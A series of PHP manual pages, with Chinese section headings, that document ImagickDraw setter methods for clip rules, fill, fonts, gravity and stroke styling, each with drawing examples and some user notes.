Set the polygon fill rule to be used by the clipping path.

参数

fill_rule

One of the FILLRULE constant (imagick::FILLRULE_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setClipRule() example

<?php
function setClipRule($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
//\Imagick::FILLRULE_EVENODD
//\Imagick::FILLRULE_NONZERO

$clipPathName = 'testClipPath';
$draw->pushClipPath($clipPathName);
$draw->setClipRule(\Imagick::FILLRULE_EVENODD);
$draw->rectangle(0, 0, 300, 500);
$draw->rectangle(200, 0, 500, 500);
$draw->popClipPath();
$draw->setClipPath($clipPathName);
$draw->rectangle(200, 200, 300, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the interpretation of clip path units

  • ? ImagickDraw::setClipRule
  • ImagickDraw::setFillAlpha ?
  • PHP Manual
  • ImagickDraw
  • Sets the interpretation of clip path units

ImagickDraw::setClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipUnits — Sets the interpretation of clip path units

说明

public ImagickDraw::setClipUnits(int $clip_units): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the interpretation of clip path units.

参数

clip_units

the number of clip units

返回值

没有返回值。

示例

Example #1 ImagickDraw::setClipUnits() example

<?php
function setClipUnits($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
$clipPathName = 'testClipPath';
$draw->setClipUnits(\Imagick::RESOLUTION_PIXELSPERINCH);
$draw->pushClipPath($clipPathName);
$draw->rectangle(0, 0, 250, 250);
$draw->popClipPath();
$draw->setClipPath($clipPathName);

//RESOLUTION_PIXELSPERINCH
//RESOLUTION_PIXELSPERCENTIMETER

$draw->rectangle(200, 200, 300, 300);
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the opacity to use when drawing using the fill color or fill texture

  • ? ImagickDraw::setClipUnits
  • ImagickDraw::setFillColor ?
  • PHP Manual
  • ImagickDraw
  • Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setFillAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture

说明

public ImagickDraw::setFillAlpha(float $opacity): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

参数

opacity

fill alpha

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFillAlpha() example

<?php
function setFillAlpha($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
$draw->rectangle(100, 200, 200, 300);
@$draw->setFillAlpha(0.4);
$draw->rectangle(300, 200, 400, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Mark van der Velden 06-Dec-2007 01:37
setFillAlpha is deprecated use the replacement: setFillOpacity


Sets the fill color to be used for drawing filled objects

  • ? ImagickDraw::setFillAlpha
  • ImagickDraw::setFillOpacity ?
  • PHP Manual
  • ImagickDraw
  • Sets the fill color to be used for drawing filled objects

ImagickDraw::setFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects

说明

public ImagickDraw::setFillColor(ImagickPixel $fill_pixel): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the fill color to be used for drawing filled objects.

参数

fill_pixel

ImagickPixel to use to set the color

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFillColor()

<?php
function setFillColor($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(1.5);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle(50, 50, 150, 150);

$draw->setFillColor("rgb(200, 32, 32)");
$draw->rectangle(200, 50, 300, 150);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:00
It also accepts color definitions by name and hexa, as in

<?php
$draw = new ImagickDraw();

/* defined color black */
$draw->setFillColor('black');

/* some light brown */
$draw->setFillColor('#a4610f');

?>


Sets the opacity to use when drawing using the fill color or fill texture

  • ? ImagickDraw::setFillColor
  • ImagickDraw::setFillPatternURL ?
  • PHP Manual
  • ImagickDraw
  • Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture

说明

public ImagickDraw::setFillOpacity(float $fillOpacity): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

参数

fillOpacity

the fill opacity

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFillOpacity()

<?php
function setFillOpacity($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->rectangle(100, 200, 200, 300);

$draw->setFillOpacity(0.4);
$draw->rectangle(300, 200, 400, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Michael Voek 08-Aug-2015 12:55
When fill color is changed, this is reset to 1.0 or to defined alpha with #aaxxx color format, where aa is alpha.


Sets the URL to use as a fill pattern for filling objects

  • ? ImagickDraw::setFillOpacity
  • ImagickDraw::setFillRule ?
  • PHP Manual
  • ImagickDraw
  • Sets the URL to use as a fill pattern for filling objects

ImagickDraw::setFillPatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects

说明

public ImagickDraw::setFillPatternURL(string $fill_url): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the URL to use as a fill pattern for filling objects. Only local URLs ("#identifier") are supported at this time. These local URLs are normally created by defining a named fill pattern with DrawPushPattern/DrawPopPattern.

参数

fill_url

URL to use to obtain fill pattern.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets the fill rule to use while drawing polygons

  • ? ImagickDraw::setFillPatternURL
  • ImagickDraw::setFont ?
  • PHP Manual
  • ImagickDraw
  • Sets the fill rule to use while drawing polygons

ImagickDraw::setFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons

说明

public ImagickDraw::setFillRule(int $fill_rule): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the fill rule to use while drawing polygons.

参数

fill_rule

One of the FILLRULE constant (imagick::FILLRULE_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFillRule() example

<?php
function setFillRule($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$fillRules = [\Imagick::FILLRULE_NONZERO, \Imagick::FILLRULE_EVENODD];

$points = 11;
$size = 150;

$draw->translate(175, 160);

for ($x = 0; $x < 2; $x++) {
$draw->setFillRule($fillRules[$x]);
$draw->pathStart();
for ($n = 0; $n < $points * 2; $n++) {

if ($n >= $points) {
$angle = fmod($n * 360 * 4 / $points, 360) * pi() / 180;
}
else {
$angle = fmod($n * 360 * 3 / $points, 360) * pi() / 180;
}

$positionX = $size * sin($angle);
$positionY = $size * cos($angle);

if ($n == 0) {
$draw->pathMoveToAbsolute($positionX, $positionY);
}
else {
$draw->pathLineToAbsolute($positionX, $positionY);
}
}

$draw->pathClose();
$draw->pathFinish();

$draw->translate(325, 0);
}

$image = new \Imagick();
$image->newImage(700, 320, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the fully-specified font to use when annotating with text

  • ? ImagickDraw::setFillRule
  • ImagickDraw::setFontFamily ?
  • PHP Manual
  • ImagickDraw
  • Sets the fully-specified font to use when annotating with text

ImagickDraw::setFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text

说明

public ImagickDraw::setFont(string $font_name): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the fully-specified font to use when annotating with text.

参数

font_name

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::setFont() example

<?php
function setFont($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(36);

$draw->setFont("../fonts/Arial.ttf");
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFont("../fonts/Consolas.ttf");
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFont("../fonts/CANDY.TTF");
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFont("../fonts/Inconsolata-dz.otf");
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Stefano 24-Apr-2017 01:16
if u are looking for the configured/embedded font list
$fontList = \Imagick::queryFonts('*');
foreach ( $fontList as $fontName ) {
    echo $fontName . '<br>';
}

http://php.net/manual/en/imagick.queryfonts.php
Anonymous 06-Apr-2011 05:54
To get a list of fonts that ImageMagick knows about, enter this from a cmd shell:
 convert -list font
zombiebovine at gmail dot com 14-Sep-2009 05:49
The only acceptable parameters I've been able to use are the location, relative to site root, of a font file.

e.g,
$draw->setFont("fonts/arial.ttf");


Sets the font family to use when annotating with text

  • ? ImagickDraw::setFont
  • ImagickDraw::setFontSize ?
  • PHP Manual
  • ImagickDraw
  • Sets the font family to use when annotating with text

ImagickDraw::setFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontFamily — Sets the font family to use when annotating with text

说明

public ImagickDraw::setFontFamily(string $font_family): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the font family to use when annotating with text.

参数

font_family

the font family

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::setFontFamily() example

<?php
function setFontFamily($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$draw->setFontSize(48);

$draw->setFontFamily("Times");
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontFamily("AvantGarde");
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontFamily("NewCenturySchlbk");
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFontFamily("Palatino");
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(450, 250, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the font pointsize to use when annotating with text

  • ? ImagickDraw::setFontFamily
  • ImagickDraw::setFontStretch ?
  • PHP Manual
  • ImagickDraw
  • Sets the font pointsize to use when annotating with text

ImagickDraw::setFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text

说明

public ImagickDraw::setFontSize(float $pointsize): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the font pointsize to use when annotating with text.

参数

pointsize

the point size

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFontSize() example

<?php
function setFontSize($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFont("../fonts/Arial.ttf");

$sizes = [24, 36, 48, 60, 72];

foreach ($sizes as $size) {
$draw->setFontSize($size);
$draw->annotation(50, ($size * $size / 16), "Lorem Ipsum!");
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

hmkrox at gmail dot com 03-Aug-2009 07:10
The font size taken in parameter is not the size in point (1 point = 1/72 inch) but the font's height in pixel.
Therefore you should do a conversion to have the correct font size if you want to modify a document destined to print.
For example, if your document's resolution is 300ppi, you should add a 25/6 multiplying factor to your fontsize in order to have a correct behaviour of the font.
jgsujith at in dot com 15-Jul-2009 06:23
<?php
$sourceFile='in.jpg';
$textWrite='God is Great';
$x=50;
$y=50;
$fontColor='#000000';
$fontSize=34;

$colorPix=new ImagickPixel ($fontColor);
$image=new Imagick ($sourceFile);
$draw=new ImagickDraw();

$draw->setFontSize($fontSize);//Sets the font pointsize to use when annotating with text

$draw->setFillColor($colorPix);//Sets the fill color to be used for drawing filled objects

$image->annotateImage($draw,$x,$y,0,$textWrite);//Annotates an image with text

$image->writeImage('out.jpg');//Writes an image to the specified filename
?>


Sets the font stretch to use when annotating with text

  • ? ImagickDraw::setFontSize
  • ImagickDraw::setFontStyle ?
  • PHP Manual
  • ImagickDraw
  • Sets the font stretch to use when annotating with text

ImagickDraw::setFontStretch

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text

说明

public ImagickDraw::setFontStretch(int $fontStretch): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the font stretch to use when annotating with text. The AnyStretch enumeration acts as a wild-card "don't care" option.

参数

fontStretch

One of the STRETCH constant (imagick::STRETCH_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFontStretch() example

<?php
function setFontStretch($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(36);

$fontStretchTypes = [
\Imagick::STRETCH_ULTRACONDENSED,
\Imagick::STRETCH_CONDENSED,
\Imagick::STRETCH_SEMICONDENSED,
\Imagick::STRETCH_SEMIEXPANDED,
\Imagick::STRETCH_EXPANDED,
\Imagick::STRETCH_EXTRAEXPANDED,
\Imagick::STRETCH_ULTRAEXPANDED,
\Imagick::STRETCH_ANY
];

$offset = 0;
foreach ($fontStretchTypes as $fontStretch) {
$draw->setFontStretch($fontStretch);
$draw->annotation(50, 75 + $offset, "Lorem Ipsum!");
$offset += 50;
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the font style to use when annotating with text

  • ? ImagickDraw::setFontStretch
  • ImagickDraw::setFontWeight ?
  • PHP Manual
  • ImagickDraw
  • Sets the font style to use when annotating with text

ImagickDraw::setFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStyle — Sets the font style to use when annotating with text

说明

public ImagickDraw::setFontStyle(int $style): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

参数

style

One of the STYLE constant (imagick::STYLE_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setFontStyle() example

<?php
function setFontStyle($fillColor, $strokeColor, $backgroundColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(36);
$draw->setFontStyle(\Imagick::STYLE_NORMAL);
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontStyle(\Imagick::STYLE_ITALIC);
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontStyle(\Imagick::STYLE_OBLIQUE);
$draw->annotation(50, 150, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(350, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the font weight

  • ? ImagickDraw::setFontStyle
  • ImagickDraw::setGravity ?
  • PHP Manual
  • ImagickDraw
  • Sets the font weight

ImagickDraw::setFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontWeight — Sets the font weight

说明

public ImagickDraw::setFontWeight(int $font_weight): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the font weight to use when annotating with text.

参数

font_weight

返回值

示例

Example #1 ImagickDraw::setFontWeight() example

<?php
function setFontWeight($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(1);

$draw->setFontSize(36);

$draw->setFontWeight(100);
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontWeight(200);
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontWeight(400);
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFontWeight(800);
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 26-May-2009 05:15
Valid Range 100-900. I found that any value 551 and above would give me bold.


Sets the text placement gravity

  • ? ImagickDraw::setFontWeight
  • ImagickDraw::setResolution ?
  • PHP Manual
  • ImagickDraw
  • Sets the text placement gravity

ImagickDraw::setGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setGravity — Sets the text placement gravity

说明

public ImagickDraw::setGravity(int $gravity): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the text placement gravity to use when annotating with text.

参数

gravity

One of the GRAVITY constant (imagick::GRAVITY_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setGravity() example

<?php
function setGravity($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(24);

$gravitySettings = array(
\Imagick::GRAVITY_NORTHWEST => 'NorthWest',
\Imagick::GRAVITY_NORTH => 'North',
\Imagick::GRAVITY_NORTHEAST => 'NorthEast',
\Imagick::GRAVITY_WEST => 'West',
\Imagick::GRAVITY_CENTER => 'Centre',
\Imagick::GRAVITY_SOUTHWEST => 'SouthWest',
\Imagick::GRAVITY_SOUTH => 'South',
\Imagick::GRAVITY_SOUTHEAST => 'SouthEast',
\Imagick::GRAVITY_EAST => 'East'
);

$draw->setFont("../fonts/Arial.ttf");

foreach ($gravitySettings as $type => $description) {
$draw->setGravity($type);
$draw->annotation(50, 50, '"' . $description . '"');
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

bcre8ve at gmail dot com 13-Sep-2013 02:15
It appears that the GRAVITY constants have an integer equivalent:
NORTHWEST = 1
NORTH = 2
NORTHEAST = 3
WEST = 4
CENTER = 5
EAST = 6
SOUTHWEST = 7
SOUTH = 8
SOUTHEAST = 9
alan at ridersite dot org 28-Aug-2007 07:51
Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.

For example:
$draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 0, 0, 0, 'The quick brown fox jumps over the lazy dog');

Will horizontally and vertically center the text string.

Note, there are several gravity constants available. See, Constants — Imagick class constants


Sets the resolution

  • ? ImagickDraw::setGravity
  • ImagickDraw::setStrokeAlpha ?
  • PHP Manual
  • ImagickDraw
  • Sets the resolution

ImagickDraw::setResolution

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setResolution — Sets the resolution

说明

public ImagickDraw::setResolution(float $x_resolution, float $y_resolution): bool

Sets the resolution.

参数

x_resolution

y_resolution

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Specifies the opacity of stroked object outlines

  • ? ImagickDraw::setResolution
  • ImagickDraw::setStrokeAntialias ?
  • PHP Manual
  • ImagickDraw
  • Specifies the opacity of stroked object outlines

ImagickDraw::setStrokeAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines

说明

public ImagickDraw::setStrokeAlpha(float $opacity): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the opacity of stroked object outlines.

参数

opacity

opacity

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeAlpha() example

<?php
function setStrokeAlpha($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);
$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeOpacity(0.1);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

Anonymous 09-Oct-2018 11:10
ImagickDraw::setStrokeAlpha method is deprecated and it's use should be avoided

not sure since which version this became deprecated.
Thomas 19-Sep-2014 12:30
Must be set after setStrokeColor().

Values between 0 (invisible) and 1.


Controls whether stroked outlines are antialiased

  • ? ImagickDraw::setStrokeAlpha
  • ImagickDraw::setStrokeColor ?
  • PHP Manual
  • ImagickDraw
  • Controls whether stroked outlines are antialiased

ImagickDraw::setStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased

说明

public ImagickDraw::setStrokeAntialias(bool $stroke_antialias): bool
Warning

本函数还未编写文档，仅有参数列表。

Controls whether stroked outlines are antialiased. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

参数

stroke_antialias

the antialias setting

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeAntialias() example

<?php
function setStrokeAntialias($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setStrokeAntialias(false);
$draw->line(100, 100, 400, 105);

$draw->line(100, 140, 400, 185);

$draw->setStrokeAntialias(true);
$draw->line(100, 110, 400, 115);
$draw->line(100, 150, 400, 195);

$image = new \Imagick();
$image->newImage(500, 250, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the color used for stroking object outlines

  • ? ImagickDraw::setStrokeAntialias
  • ImagickDraw::setStrokeDashArray ?
  • PHP Manual
  • ImagickDraw
  • Sets the color used for stroking object outlines

ImagickDraw::setStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines

说明

public ImagickDraw::setStrokeColor(ImagickPixel $stroke_pixel): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the color used for stroking object outlines.

参数

stroke_pixel

the stroke color

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeColor() example

<?php
function setStrokeColor($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(5);

$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);

$draw->setStrokeOpacity(0.1);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies the pattern of dashes and gaps used to stroke paths

  • ? ImagickDraw::setStrokeColor
  • ImagickDraw::setStrokeDashOffset ?
  • PHP Manual
  • ImagickDraw
  • Specifies the pattern of dashes and gaps used to stroke paths

ImagickDraw::setStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths

说明

public ImagickDraw::setStrokeDashArray(array $dashArray): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the pattern of dashes and gaps used to stroke paths. The strokeDashArray represents an array of numbers that specify the lengths of alternating dashes and gaps in pixels. If an odd number of values is provided, then the list of values is repeated to yield an even number of values. To remove an existing dash array, pass a zero number_elements argument and null dash_array. A typical strokeDashArray_ array might contain the members 5 3 2.

参数

dashArray

array of floats

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::setStrokeDashArray() example

<?php
function setStrokeDashArray($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);

$draw->setStrokeDashArray([10, 10]);
$draw->rectangle(100, 50, 225, 175);

$draw->setStrokeDashArray([20, 5, 20, 5, 5, 5,]);
$draw->rectangle(275, 50, 400, 175);

$draw->setStrokeDashArray([20, 5, 20, 5, 5]);
$draw->rectangle(100, 200, 225, 350);

$draw->setStrokeDashArray([1, 1, 1, 1, 2, 2, 3, 3, 5, 5, 8, 8, 13, 13, 21, 21, 34, 34, 55, 55, 89, 89, 144, 144, 233, 233, 377, 377, 610, 610, 987, 987, 1597, 1597, 2584, 2584, 4181, 4181,]);

$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

KV 13-Mar-2019 02:47
To remove the dash and switch back to solid line, provide an array with a null value in it for $dashArray.

->setStrokeDashArray( [null] );
andrew at ierbsolutions dot co dot uk 22-Oct-2008 02:11
Example:

<?php
$base_image = new Imagick('example.png');
$rect = new ImagickDraw();
$rect->setFillColor(new ImagickPixel("#EEEEEE"));
$rect->setFillOpacity(0);
$rect->setStrokeColor(new ImagickPixel("#FF0000"));
$rect->setStrokeDashArray(array(5,5,5));
$rect->rectangle(10, 10, 100, 100);
$base_image->drawImage($rect);

header('Content-type: image/png');
echo $base_image->getImage();
exit();
?>


Specifies the offset into the dash pattern to start the dash

  • ? ImagickDraw::setStrokeDashArray
  • ImagickDraw::setStrokeLineCap ?
  • PHP Manual
  • ImagickDraw
  • Specifies the offset into the dash pattern to start the dash

ImagickDraw::setStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash

说明

public ImagickDraw::setStrokeDashOffset(float $dash_offset): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the offset into the dash pattern to start the dash.

参数

dash_offset

dash offset

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeDashOffset() example

<?php
function setStrokeDashOffset($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);
$draw->setStrokeDashArray([20, 20]);
$draw->setStrokeDashOffset(0);
$draw->rectangle(100, 50, 225, 175);

//Start the dash effect halfway through the solid portion
$draw->setStrokeDashOffset(10);
$draw->rectangle(275, 50, 400, 175);

//Start the dash effect on the space portion
$draw->setStrokeDashOffset(20);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeDashOffset(5);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies the shape to be used at the end of open subpaths when they are stroked

  • ? ImagickDraw::setStrokeDashOffset
  • ImagickDraw::setStrokeLineJoin ?
  • PHP Manual
  • ImagickDraw
  • Specifies the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::setStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked

说明

public ImagickDraw::setStrokeLineCap(int $linecap): bool
Warning

本函数还未编写文档，仅有参数列表。

